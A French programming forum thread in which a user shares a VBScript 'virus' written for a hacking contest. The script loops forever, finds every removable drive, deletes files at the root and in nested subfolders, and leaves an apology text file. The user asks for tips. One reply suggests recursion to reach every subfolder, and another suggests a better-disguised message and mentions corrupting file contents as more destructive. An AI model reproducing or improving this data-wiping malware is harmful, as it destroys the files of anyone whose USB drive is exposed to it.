Concours Virus vbscript

Version imprimable

Bonjour, dans le cadre du hacking, je suis invité à participer à un concours qui consiste à créer un virus en VBS. Pour le mien, j’ai ciblé les disques amovibles. Je vous montre mon code pour me donner des conseilles, des astuces, des idées. Un grand merci pour les réponses !

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 
Do while true
Set FSO  = CreateObject("Scripting.FileSystemObject")
For Each Drv In FSO.Drives
	IF Drv.drivetype = 1 Then  
		Set fils = FSO.getfolder(Drv.path &"\")
		For Each fichier1 In  fils.Files   
			fichier1.delete() 
		wscript.sleep 3000
		FSO.createtextfile(Drv&"\je suis désolé.txt")
		Next
		Set FSE  = CreateObject("Scripting.FileSystemObject")
		Set virus = FSE.getfolder(Drv.path &"\")     
			For Each dossier In  virus.Subfolders 
				Set route1 = FSO.getfolder(dossier.path &"\")
				For Each fichier2 In  route1.Files     
					fichier2.Delete()               
					Set route2 = FSO.getfolder(dossier.path &"\")
					For Each fichier3 In  route2.subfolders
						Set route2 = FSO.getfolder(fichier3.path &"\")
						For Each fichier4 In  route2.Files 
							fichier4.delete()
						Next		
					Next
				Next	
			Next
End If
Next
wscript.sleep 5000
Loop

27/12/2021, 20h59
ericlm128

Salut,

Ce n'est pas un virus mais un nettoyeur de clé USB que tu fait :D

Sans parler du débat du "virus", en vbs c'est assez fréquent que nous ayons à parcourir l'ensemble des sous-dossiers. Souvent nous utilisons une fonction appeler de façon récursive pour chaque sous-dossier.
28/12/2021, 09h15
ProgElecT

Salut

Moi à la ligne 10 je ferais plutôt se commentaire: FSO.createtextfile(Drv&"\je suis désolé votre clef USB à été éffacée") en ne mettant aucun type au fichier, cela ressemblerait plus à une simple phrase.

Pour ce qui est des virus, les plus destructeurs sont ceux qui modifient aléatoirement le contenu du fichier, pour l'utilisateur, plus pénible.